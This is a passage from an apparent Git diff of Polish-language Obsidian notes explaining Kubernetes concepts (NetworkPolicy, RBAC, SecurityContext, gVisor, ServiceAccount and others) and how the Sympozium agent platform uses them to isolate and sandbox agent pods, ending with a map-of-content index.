| Ultra-fast | Szybki (trochę wolniejszy) |
## Porównanie z alternatywami
| System | Latency | Throughput | Complexity | Use case |
|--------|---------|------------|------------|----------|
| **NATS JetStream** | ~1ms | ~100K msg/s | **Niski** | Cloud-native, K8s |
| Apache Kafka | ~5ms | ~1M msg/s | Wysoki | Big data, streaming |
| RabbitMQ | ~3ms | ~50K msg/s | Średni | Enterprise messaging |
| Redis Streams | ~1ms | ~200K msg/s | Niski | Caching + messaging |
## Kluczowe koncepty JetStream
| Koncept | Opis |
|---------|------|
| **Stream** | Named storage dla wiadomości (temat wildcard) |
| **Consumer** | Subskrybent z cursor/offset tracking |
| **Durable Consumer** | Consumer z persistence (survives restarts) |
| **Ack** | Potwierdzenie przetworzenia wiadomości |
| **Retention** | Limits (max age, max bytes) lub Interest-based |
## Użycie w Sympozium
NATS JetStream jest **centralnym event bus'em** Sympozium:
- **Stream**: `sympozium` z subjects `sympozium.>`
- **Retention**: 24h max age
- **Deployment**: [[StatefulSet]] w `sympozium-system`
- **URL**: `nats://nats.sympozium-system.svc:4222`
Tematy: patrz [[NATS JetStream - Event Bus]]
---
Powiązane: [[NATS JetStream - Event Bus]] | [[Przepływ danych i IPC]] | [[StatefulSet]]

View File

@@ -0,0 +1,47 @@
# Namespace
#kubernetes #multi-tenancy #słownik
## Co to jest?
**Namespace** to wirtualny klaster wewnątrz klastra Kubernetes. Pozwala na **logiczną izolację zasobów** - zasoby w różnych namespace'ach nie widzą się nawzajem (domyślnie).
## Kluczowe cechy
- **Scope zasobów** - Pods, Services, ConfigMaps etc. są namespace-scoped
- **RBAC** - uprawnienia mogą być ograniczone do namespace
- **Resource Quotas** - limity CPU/memory per namespace
- **NetworkPolicy** - izolacja sieciowa per namespace
- **Brak hierarchii** - namespace'y są płaskie (no nesting)
## Zasoby namespace-scoped vs cluster-scoped
| Namespace-scoped | Cluster-scoped |
|-----------------|----------------|
| Pod, Service, Deployment | Node, Namespace |
| ConfigMap, Secret | ClusterRole |
| Role, RoleBinding | ClusterRoleBinding |
| NetworkPolicy | PersistentVolume |
| **CRDs Sympozium** | StorageClass |
## Użycie w Sympozium
### Multi-tenancy
Każda [[SympoziumInstance]] działa w namespace (domyślnie `sympozium-system`):
- Zasoby instancji izolowane w namespace
- [[RBAC]] per-namespace kontroluje dostęp
- [[NetworkPolicy]] per-namespace izoluje sieć
### System namespace
`sympozium-system` - namespace control plane:
- Controller, API Server, Webhook
- NATS JetStream
- Built-in PersonaPacks, SkillPacks, Policies
### Efemeryczny RBAC
Namespace-scoped Role + RoleBinding mają [[ownerReference]] → AgentRun = auto GC.
Cluster-scoped zasoby nie mogą mieć cross-namespace ownerRef.
---
Powiązane: [[RBAC]] | [[SympoziumInstance]] | [[Model bezpieczeństwa Defence-in-Depth]]

View File

@@ -0,0 +1,90 @@
# NetworkPolicy
#kubernetes #security #network #słownik
## Co to jest?
**NetworkPolicy** to zasób Kubernetes definiujący **reguły firewalla na poziomie podów**. Kontroluje jaki ruch sieciowy (ingress/egress) jest dozwolony do/z podów.
## Domyślne zachowanie
Bez NetworkPolicy: **wszystko jest dozwolone** - każdy pod może komunikować się z każdym innym podem i z internetem.
Z NetworkPolicy: reguły definiują whitelist - ruch nie pasujący do żadnej reguły jest **blokowany**.
## Przykład deny-all
```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all-egress
spec:
podSelector:
matchLabels:
sympozium.ai/component: agent
policyTypes:
- Egress
egress: [] # Pusty = BLOCK ALL
```
## Przykład z wyjątkami
```yaml
spec:
podSelector:
matchLabels:
sympozium.ai/component: agent
policyTypes:
- Egress
egress:
# Pozwól DNS
- to:
- namespaceSelector: {}
ports:
- port: 53
protocol: UDP
# Pozwól NATS
- to:
- podSelector:
matchLabels:
app: nats
ports:
- port: 4222
```
## Wymagania
NetworkPolicy wymaga **CNI plugin** wspierającego Network Policies:
- Calico
- Cilium
- Weave Net
- Antrea
**Flannel** domyślnie NIE wspiera NetworkPolicy.
## Użycie w Sympozium
Sympozium używa NetworkPolicy do **izolacji agent podów**:
```
Agent pod:
Egress: DENY ALL
Wyjątki:
- DNS (UDP 53)
- NATS event bus (TCP 4222)
- Skonfigurowane egress rules z SympoziumPolicy
```
Dzięki temu agent nie może:
- Sięgnąć do internetu
- Komunikować się z innymi podami
- Exfiltrować danych
Jedyny punkt wyjścia to IPC Bridge → NATS (kontrolowany kanał).
Więcej: [[NetworkPolicy i izolacja sieciowa]]
---
Powiązane: [[NetworkPolicy i izolacja sieciowa]] | [[SympoziumPolicy]] | [[Model bezpieczeństwa Defence-in-Depth]]

View File

@@ -0,0 +1,67 @@
# PersistentVolumeClaim (PVC)
#kubernetes #storage #słownik
## Co to jest?
**PersistentVolumeClaim (PVC)** to żądanie trwałego storage w Kubernetes. PVC abstrakcje underlying storage (dysk, NFS, cloud volume) i zapewnia **dane przetrwają restart poda**.
## Jak działa?
```
PVC (żądanie: 10Gi, ReadWriteOnce)
StorageClass (provisioner: ebs/gce-pd/local)
PersistentVolume (faktyczny dysk)
Pod mountuje PVC
```
## Access Modes
| Mode | Opis | Skrót |
|------|------|-------|
| ReadWriteOnce | Jeden node może czytać/pisać | RWO |
| ReadOnlyMany | Wiele node'ów read-only | ROX |
| ReadWriteMany | Wiele node'ów read/write | RWX |
## emptyDir vs PVC
| | emptyDir | PVC |
|---|----------|-----|
| Lifecycle | Z podem | Niezależny od poda |
| Persistence | **NIE** - dane znikają | **TAK** - dane trwają |
| Sharing | Między kontenerami w podzie | Między podami (z ograniczeniami) |
| Speed | Szybki (RAM option) | Zależne od storage |
## Użycie w Sympozium
### Memory PVC
```yaml
name: <instance>-memory-db
spec:
accessModes: [ReadWriteOnce]
resources:
requests:
storage: 1Gi
```
Przechowuje SQLite DB z pamięcią agenta. Przetrwa restarty memory-server poda.
### WhatsApp PVC
```yaml
name: <instance>-channel-whatsapp-data
spec:
accessModes: [ReadWriteOnce]
resources:
requests:
storage: 256Mi
```
Przechowuje WhatsApp credentials (QR link survives restarts).
### Strategy: Recreate
Oba PVC są RWO (jeden pod na raz), więc Deployment Strategy musi być `Recreate` (nie RollingUpdate).
---
Powiązane: [[Persistent Memory]] | [[ConfigMap i Secret]] | [[Kanały - Telegram Slack Discord WhatsApp]]

59
08-Słownik-K8s/Pod.md Normal file
View File

@@ -0,0 +1,59 @@
# Pod
#kubernetes #workload #słownik
## Co to jest?
**Pod** to **najmniejsza deployowalna jednostka** w Kubernetes. Pod zawiera jeden lub więcej kontenerów współdzielących sieć i storage.
## Kluczowe cechy
- **Współdzielona sieć** - kontenery w podzie widzą się jako `localhost`
- **Współdzielone woluminy** - kontenery mogą mountować te same woluminy
- **Shared lifecycle** - wszystkie kontenery startują i kończą się razem
- **Unikalne IP** - każdy pod dostaje własne IP w klastrze
- **Efemeryczny** - pod nie jest "naprawiany", jest zastępowany nowym
## Anatomia
```
┌─────────────────────────────────────┐
│ Pod │
│ Network namespace (shared IP) │
│ │
│ ┌──────────┐ ┌──────────┐ │
│ │ Container │ │ Container │ ... │
│ │ (main) │ │ (sidecar) │ │
│ └──────────┘ └──────────┘ │
│ │
│ Volumes (shared): │
│ /workspace (emptyDir) │
│ /ipc (emptyDir, RAM) │
│ /skills (projected ConfigMap) │
└─────────────────────────────────────┘
```
## Multi-container patterns
| Pattern | Opis | Przykład w Sympozium |
|---------|------|---------------------|
| **Sidecar** | Kontener pomocniczy obok głównego | IPC Bridge, Skill sidecars |
| **Init container** | Uruchamiany przed głównymi | wait-for-memory |
| **Ambassador** | Proxy do zewnętrznych serwisów | MCP Bridge |
## Użycie w Sympozium
Agent Pod to multi-container pod z:
- **Agent container** - główny (LLM loop)
- **IPC Bridge sidecar** - komunikacja fsnotify → NATS
- **Skill sidecars** - narzędzia (kubectl, helm)
- **MCP Bridge** - proxy do MCP serwerów
- **Sandbox** - opcjonalny kontener izolacji
Współdzielone woluminy umożliwiają IPC bez sieci.
Więcej: [[Cykl życia Agent Pod]] | [[Sidecar Pattern]]
---
Powiązane: [[Job]] | [[Deployment]] | [[Sidecar Pattern]] | [[SecurityContext]]

91
08-Słownik-K8s/RBAC.md Normal file
View File

@@ -0,0 +1,91 @@
# RBAC - Role-Based Access Control
#kubernetes #security #rbac #słownik
## Co to jest?
**RBAC** (Role-Based Access Control) to system autoryzacji w Kubernetes. Definiuje **kto** (subject) może wykonywać **jakie operacje** (verbs) na **jakich zasobach** (resources).
## Komponenty
### Role (namespace-scoped)
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: pod-reader
namespace: my-namespace
rules:
- apiGroups: [""] # "" = core API group
resources: ["pods"]
verbs: ["get", "list", "watch"]
```
### ClusterRole (cluster-scoped)
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: node-reader
rules:
- apiGroups: [""]
resources: ["nodes"]
verbs: ["get", "list"]
```
### RoleBinding (wiąże Role z podmiotem)
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-pods
subjects:
- kind: ServiceAccount
name: my-agent
roleRef:
kind: Role
name: pod-reader
apiGroup: rbac.authorization.k8s.io
```
## Verbs
| Verb | Opis |
|------|------|
| `get` | Odczyt pojedynczego zasobu |
| `list` | Listowanie zasobów |
| `watch` | Obserwowanie zmian (streaming) |
| `create` | Tworzenie nowego zasobu |
| `update` | Aktualizacja istniejącego |
| `patch` | Częściowa aktualizacja |
| `delete` | Usuwanie zasobu |
## Scope
| Typ | Scope | Binding |
|-----|-------|---------|
| **Role** | Namespace | RoleBinding |
| **ClusterRole** | Cały klaster | ClusterRoleBinding |
| **ClusterRole** | Namespace (reuse) | RoleBinding |
## Privilege escalation prevention
Kubernetes nie pozwala na tworzenie ról z uprawnieniami większymi niż posiada twórca. Dlatego controller Sympozium wymaga `cluster-admin` - musi tworzyć dowolne role zdefiniowane w [[SkillPack|SkillPacks]].
## Użycie w Sympozium
Sympozium implementuje **efemeryczny RBAC per-run**:
1. [[SkillPack]] deklaruje potrzebne uprawnienia (rbac/clusterRBAC)
2. Przy tworzeniu [[AgentRun]], controller tworzy:
- Role + RoleBinding (namespace-scoped, [[ownerReference]] → AgentRun)
- ClusterRole + ClusterRoleBinding (label-based cleanup)
3. Po zakończeniu runu → RBAC usunięty
Credentials istnieją **tylko przez czas trwania runu**.
Więcej: [[Efemeryczny RBAC per-run]] | [[Skill Sidecars i auto-RBAC]]
---
Powiązane: [[Efemeryczny RBAC per-run]] | [[ServiceAccount]] | [[Skill Sidecars i auto-RBAC]]

View File

@@ -0,0 +1,74 @@
# RuntimeClass
#kubernetes #security #container-runtime #słownik
## Co to jest?
**RuntimeClass** to zasób Kubernetes pozwalający na **wybór container runtime** dla poda. Domyślnie pody używają standardowego runtime (runc), ale RuntimeClass pozwala na użycie alternatywnych runtime'ów jak [[gVisor]] (runsc) czy [[Kata Containers]].
## Jak działa?
```
1. Administrator tworzy RuntimeClass
2. Pod spec: runtimeClassName: gvisor
3. Kubelet: zamiast runc, użyj runsc (gVisor)
4. Pod uruchamiany w gVisor sandbox
```
## Przykład
```yaml
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor
handler: runsc # Nazwa handler'a w konfiguracji containerd
---
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: kata
handler: kata-qemu
```
## Containerd konfiguracja
```toml
# /etc/containerd/config.toml
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc]
runtime_type = "io.containerd.runsc.v1"
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.kata-qemu]
runtime_type = "io.containerd.kata.v2"
```
## Overhead scheduling
RuntimeClass może deklarować overhead:
```yaml
overhead:
podFixed:
memory: "120Mi"
cpu: "250m"
```
Kubernetes scheduler uwzględnia overhead przy planowaniu.
## Użycie w Sympozium
Sympozium obsługuje RuntimeClass przez [[Agent Sandbox - gVisor i Kata]]:
```yaml
# SympoziumPolicy - wymusza i ogranicza runtime classes
agentSandboxPolicy:
required: true
defaultRuntimeClass: gvisor
allowedRuntimeClasses: [gvisor, kata]
```
Controller tworzy Sandbox CR z `runtimeClassName` ustawionym z konfiguracji.
---
Powiązane: [[gVisor]] | [[Kata Containers]] | [[Agent Sandbox - gVisor i Kata]]

View File

@@ -0,0 +1,76 @@
# SecurityContext
#kubernetes #security #słownik
## Co to jest?
**SecurityContext** to konfiguracja bezpieczeństwa na poziomie poda lub kontenera. Definiuje **jak kontener jest uruchamiany** z perspektywy systemu operacyjnego.
## Kluczowe pola
```yaml
securityContext:
runAsNonRoot: true # Nie uruchamiaj jako root
runAsUser: 1000 # UID procesu
runAsGroup: 1000 # GID procesu
readOnlyRootFilesystem: true # Root FS tylko do odczytu
allowPrivilegeEscalation: false # Blokuj setuid/setgid
capabilities:
drop: ["ALL"] # Usuń WSZYSTKIE Linux capabilities
add: ["NET_BIND_SERVICE"] # Dodaj konkretne (opcjonalnie)
seccompProfile:
type: RuntimeDefault # Seccomp profil
```
## Pola wyjaśnione
### runAsNonRoot
Wymusza uruchomienie kontenera jako użytkownik inny niż root (UID != 0). Jeśli obraz ma `USER root`, pod nie wystartuje.
### readOnlyRootFilesystem
System plików kontenera jest read-only. Kontener może pisać tylko do zamontowanych woluminów (`/tmp`, `/workspace`). Zapobiega modyfikacji binariów.
### capabilities
Linux capabilities to granularne uprawnienia (zamiast "all-or-nothing" root):
| Capability | Opis |
|------------|------|
| `CAP_NET_ADMIN` | Konfiguracja sieci |
| `CAP_SYS_ADMIN` | Operacje administracyjne |
| `CAP_NET_BIND_SERVICE` | Bindowanie portów < 1024 |
| `ALL` | Wszystkie naraz |
`drop: ["ALL"]` usuwa WSZYSTKIE capabilities - kontener ma minimalne uprawnienia.
### seccompProfile
**Seccomp** (Secure Computing Mode) filtruje syscalls na poziomie kernela:
- `RuntimeDefault` - profil domyślny containerd (blokuje niebezpieczne syscalls)
- `Unconfined` - brak filtrowania
- `Localhost` - custom profil z pliku
### allowPrivilegeEscalation
Blokuje mechanizmy eskalacji uprawnień:
- setuid/setgid bity na plikach
- `no_new_privs` flag w kernelu
## Użycie w Sympozium
Agent containers mają **hardened SecurityContext**:
```go
SecurityContext: &corev1.SecurityContext{
ReadOnlyRootFilesystem: true,
AllowPrivilegeEscalation: false,
Capabilities: &corev1.Capabilities{
Drop: []corev1.Capability{"ALL"},
},
}
```
W połączeniu z [[NetworkPolicy]] i [[RBAC]], tworzy to defense-in-depth.
Więcej: [[Model bezpieczeństwa Defence-in-Depth]] | [[Cykl życia Agent Pod]]
---
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[gVisor]] | [[Kata Containers]] | [[Pod]]

View File

@@ -0,0 +1,49 @@
# ServiceAccount
#kubernetes #security #rbac #słownik
## Co to jest?
**ServiceAccount** to tożsamość przypisana do podów w Kubernetes. Pody używają ServiceAccount do autentykacji wobec API servera i uzyskania uprawnień zdefiniowanych w [[RBAC]].
## Jak działa?
```
Pod → ServiceAccount → Token (auto-mounted) → K8s API Server
RoleBinding sprawdza:
"Czy ten SA ma Role z verbs?"
```
Token jest automatycznie montowany w podzie pod:
```
/var/run/secrets/kubernetes.io/serviceaccount/token
```
## Domyślne zachowanie
- Każdy namespace ma `default` ServiceAccount
- Pody bez jawnego SA używają `default`
- `default` SA ma minimalne uprawnienia (prawie żadne)
## Użycie w Sympozium
Controller tworzy **dedykowany ServiceAccount** `sympozium-agent` w namespace runu:
```
1. ensureAgentServiceAccount() → tworzy SA
2. Role/ClusterRole → definiuje uprawnienia (z SkillPack)
3. RoleBinding → wiąże SA z Role
4. Pod spec: serviceAccountName: sympozium-agent
5. Skill sidecar używa tokenu SA do kubectl/API calls
6. Po zakończeniu → SA i RBAC garbage-collected
```
Agent container **nie używa** tokenu SA (brak dostępu do K8s API).
Skill sidecar **używa** tokenu SA (kubectl via automounted token).
Więcej: [[RBAC]] | [[Efemeryczny RBAC per-run]] | [[Skill Sidecars i auto-RBAC]]
---
Powiązane: [[RBAC]] | [[Efemeryczny RBAC per-run]] | [[Pod]]

View File

@@ -0,0 +1,64 @@
# Sidecar Pattern
#kubernetes #patterns #słownik
## Co to jest?
**Sidecar Pattern** to wzorzec architektoniczny w Kubernetes gdzie **dodatkowy kontener** (sidecar) jest uruchamiany obok głównego kontenera w tym samym [[Pod|podzie]]. Sidecar rozszerza lub uzupełnia funkcjonalność głównego kontenera.
## Cechy
- Współdzieli **sieć** z głównym kontenerem (localhost)
- Współdzieli **woluminy** (np. /ipc, /workspace)
- Ma **własne zasoby** (CPU, memory limits)
- Ma **własny lifecycle** (może mieć inne healthchecks)
- **Nie modyfikuje** głównego kontenera
## Typowe zastosowania
| Sidecar | Rola | Przykład |
|---------|------|---------|
| Log collector | Zbiera logi | Fluentd, Filebeat |
| Proxy | Routing sieciowy | Envoy (Istio), Linkerd |
| Auth | Autentykacja/autoryzacja | OAuth2 proxy |
| Monitoring | Metryki | Prometheus exporter |
| **IPC Bridge** | Komunikacja | Sympozium: fsnotify → NATS |
| **Skill sidecar** | Narzędzia | Sympozium: kubectl, helm |
## Komunikacja main ↔ sidecar
| Metoda | Opis | Użycie w Sympozium |
|--------|------|---------------------|
| **Shared volume** | Pliki w współdzielonym katalogu | `/ipc/` - JSON request/response |
| **localhost** | HTTP/gRPC na localhost | Memory server API |
| **Shared network** | Porty na localhost | MCP bridge |
## Użycie w Sympozium
Sympozium to **intensywny użytkownik sidecar pattern**. Typowy agent pod:
```
┌─────────────────────────────────────────────┐
│ Agent Pod │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ MAIN: │ │ SIDECAR: │ │ SIDECAR: │ │
│ │ Agent │ │ IPC │ │ Skill │ │
│ │ Runner │ │ Bridge │ │ (kubectl)│ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ │
│ ┌──────────┐ ┌──────────┐ │
│ │ SIDECAR: │ │ SIDECAR: │ │
│ │ MCP │ │ Sandbox │ │
│ │ Bridge │ │ (opcj.) │ │
│ └──────────┘ └──────────┘ │
└─────────────────────────────────────────────┘
```
Kluczowa innowacja: **skill sidecary mają własny [[RBAC]]**, a agent container nie ma żadnych credentials K8s.
Więcej: [[Skill Sidecars i auto-RBAC]] | [[Cykl życia Agent Pod]]
---
Powiązane: [[Pod]] | [[Skill Sidecars i auto-RBAC]] | [[Przepływ danych i IPC]]

View File

@@ -0,0 +1,27 @@
# StatefulSet
#kubernetes #workload #słownik
## Co to jest?
**StatefulSet** zarządza podami ze **stabilną tożsamością** - stały hostname, ordered deployment/scaling, i persistent storage per pod.
## Różnica vs Deployment
| | StatefulSet | [[Deployment]] |
|---|-------------|------------|
| Pod names | Ordered: `nats-0`, `nats-1` | Random: `nats-7d8f9-abc` |
| Scaling | Sekwencyjne (0, 1, 2...) | Równoległe |
| Storage | PVC per pod (stałe) | Shared lub brak |
| Network | Stable DNS per pod | Load-balanced Service |
## Użycie w Sympozium
**NATS JetStream** jest deployowany jako StatefulSet:
- Stały hostname (`nats-0.nats.sympozium-system.svc`)
- Persistent storage dla JetStream data
- Durable event bus z replay capability
---
Powiązane: [[NATS JetStream - Event Bus]] | [[Deployment]] | [[Pod]]

87
08-Słownik-K8s/gVisor.md Normal file
View File

@@ -0,0 +1,87 @@
# gVisor
#kubernetes #security #sandbox #słownik
## Co to jest?
**gVisor** to projekt open-source od Google implementujący **user-space kernel** - warstwę pośrednią między kontenerem a kernelem hosta. Zamiast pozwalać kontenerowi na bezpośrednie wywołania systemowe (syscalls) do kernela hosta, gVisor przechwytuje je i obsługuje we własnym user-space kernelu o nazwie **Sentry**.
## Jak działa?
```
Bez gVisor:
Container → syscall → Host Kernel (współdzielony!)
Z gVisor:
Container → syscall → Sentry (user-space kernel) → ograniczone syscalls → Host Kernel
```
**Sentry** reimplementuje dużą część interfejsu Linux kernel (ponad 200 syscalls) w Go. Tylko niewielka liczba prawdziwych syscalls jest przekazywana do hosta.
## Kluczowe komponenty
| Komponent | Rola |
|-----------|------|
| **Sentry** | User-space kernel - obsługuje syscalls kontenera |
| **Gofer** | File server - pośredniczy w dostępie do systemu plików |
| **runsc** | OCI runtime - integruje się z containerd/runc |
## Dlaczego to ważne?
### Problem z tradycyjnymi kontenerami
Kontenery współdzielą kernel hosta. Exploit w kernelu (np. CVE w obsłudze syscalls) = ucieczka z kontenera = dostęp do hosta i wszystkich innych kontenerów.
### Rozwiązanie gVisor
- Kontener rozmawia z **Sentry**, nie z prawdziwym kernelem
- Nawet jeśli Sentry zostanie skompromitowany, ma ograniczony dostęp do hosta
- Powierzchnia ataku kernela zredukowana z ~400 syscalls do ~50
## Porównanie z alternatywami
| Technologia | Izolacja | Overhead | Kompatybilność |
|-------------|----------|----------|-----------------|
| Kontenery (runc) | Namespace + cgroups | ~0% | 100% |
| **gVisor** | User-space kernel | **5-10%** | ~95% (nie wszystkie syscalls) |
| [[Kata Containers]] | Lightweight VM | ~15-20% | ~99% |
| Pełna VM (KVM) | Hypervisor | ~30%+ | 100% |
## Ograniczenia
- **Nie wszystkie syscalls** są implementowane (np. niektóre ioctl)
- **Overhead I/O** - Gofer dodaje pośrednika do operacji plikowych
- **Networking** - netstack (własny stack sieciowy) może mieć różnice w zachowaniu
- **GPU** - ograniczone wsparcie dla GPU passthrough
## Użycie w Kubernetes
gVisor integruje się z K8s przez [[RuntimeClass]]:
```yaml
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor
handler: runsc
```
Pod używający gVisor:
```yaml
spec:
runtimeClassName: gvisor
```
## Użycie w Sympozium
W Sympozium gVisor jest opcjonalną warstwą izolacji dla agent podów. Konfiguracja w [[AgentRun]] lub [[SympoziumInstance]]:
```yaml
agentSandbox:
enabled: true
runtimeClass: gvisor
```
Integracja via [[Agent Sandbox - gVisor i Kata]] (kubernetes-sigs/agent-sandbox).
---
Powiązane: [[Kata Containers]] | [[Agent Sandbox - gVisor i Kata]] | [[RuntimeClass]] | [[SecurityContext]]

View File

@@ -0,0 +1,66 @@
# ownerReference
#kubernetes #lifecycle #garbage-collection #słownik
## Co to jest?
**ownerReference** to metadata na zasobie Kubernetes wskazująca na jego "właściciela". Gdy właściciel jest usunięty, Kubernetes **automatycznie garbage-collectuje** zasoby-dzieci.
## Jak działa?
```yaml
# Child resource (np. Job)
metadata:
ownerReferences:
- apiVersion: sympozium.ai/v1alpha1
kind: AgentRun
name: my-run-001
uid: abc-123
controller: true
blockOwnerDeletion: true
```
```
Usunięcie AgentRun → K8s GC → Usunięcie Job → Usunięcie Pod
```
## Cascade deletion
| Typ | Zachowanie |
|-----|------------|
| **Foreground** | Owner czeka na usunięcie children |
| **Background** | Owner usunięty natychmiast, children async |
| **Orphan** | Children nie są usuwane (osierocone) |
## Ograniczenia
- ownerReference działa **tylko w tym samym namespace**
- Cluster-scoped zasoby (ClusterRole) **nie mogą** mieć ownerRef na namespace-scoped (AgentRun)
- Dlatego Sympozium używa label-based cleanup dla cluster RBAC
## Użycie w Sympozium
### Automatyczne (ownerRef)
```
PersonaPack → owns → SympoziumInstance → owns → Channel Deployment
→ owns → Memory ConfigMap
→ owns → AgentRun → owns → Job
→ owns → Role
→ owns → RoleBinding
```
Usunięcie PersonaPack = kaskadowe usunięcie CAŁEGO drzewa.
### Manualne (label-based, bo cross-namespace)
```
ClusterRole (cluster-scoped) ← label: sympozium.ai/agentrun: my-run
ClusterRoleBinding ← label: sympozium.ai/agentrun: my-run
Controller czyści po labelach w reconcileCompleted()
```
Więcej: [[Finalizer]] | [[Efemeryczny RBAC per-run]] | [[PersonaPacks - zespoły agentów]]
---
Powiązane: [[Finalizer]] | [[Controller i Reconciler]] | [[CRD - Custom Resource Definition]]

73
MOC - Sympozium.md Normal file
View File

@@ -0,0 +1,73 @@
# Sympozium - Map of Content
> Kubernetes-native Agent Orchestration Platform
> *"Every agent is an ephemeral Pod. Every policy is a CRD. Every execution is a Job."*
---
## Przegląd projektu
- [[Czym jest Sympozium]]
- [[Kluczowe decyzje projektowe]]
- [[Struktura repozytorium]]
## Architektura
- [[Control Plane]]
- [[Cykl życia Agent Pod]]
- [[Przepływ danych i IPC]]
- [[NATS JetStream - Event Bus]]
- [[Orchestrator - PodBuilder i Spawner]]
## Custom Resource Definitions
- [[SympoziumInstance]]
- [[AgentRun]]
- [[PersonaPack]]
- [[SkillPack]]
- [[SympoziumPolicy]]
- [[SympoziumSchedule]]
- [[MCPServer]]
## Zarządzanie agentami w klastrze
- [[Model efemerycznych agentów]]
- [[Cykl życia AgentRun]]
- [[Skill Sidecars i auto-RBAC]]
- [[Sub-agenty i hierarchia]]
- [[PersonaPacks - zespoły agentów]]
- [[Scheduled Tasks - heartbeaty i swepy]]
- [[Tryb Server vs Task]]
- [[Persistent Memory]]
## Bezpieczeństwo i izolacja
- [[Model bezpieczeństwa Defence-in-Depth]]
- [[Agent Sandbox - gVisor i Kata]]
- [[NetworkPolicy i izolacja sieciowa]]
- [[Efemeryczny RBAC per-run]]
- [[Admission Webhooks i polityki]]
## Komunikacja
- [[Kanały - Telegram Slack Discord WhatsApp]]
- [[MCP Servers - Model Context Protocol]]
- [[Web Endpoints - OpenAI-compat API]]
- [[Node Probe - odkrywanie inferencji]]
## Porównania
- [[Sympozium vs kagent]]
- [[Sympozium vs frameworki in-process]]
## Słownik Kubernetes
Wyjaśnienia pojęć K8s używanych w projekcie:
**Workloady:** [[Pod]] | [[Job]] | [[Deployment]] | [[StatefulSet]] | [[DaemonSet]]
**Bezpieczeństwo:** [[gVisor]] | [[Kata Containers]] | [[RuntimeClass]] | [[SecurityContext]] | [[RBAC]] | [[ServiceAccount]] | [[NetworkPolicy]] | [[Admission Webhook]]
**Architektura:** [[CRD - Custom Resource Definition]] | [[Controller i Reconciler]] | [[Sidecar Pattern]] | [[Namespace]] | [[Helm Chart]]
**Lifecycle:** [[Finalizer]] | [[ownerReference]]
**Storage:** [[ConfigMap i Secret]] | [[PersistentVolumeClaim]]
**Messaging:** [[NATS JetStream]]
---
#sympozium #kubernetes #ai-agents #analiza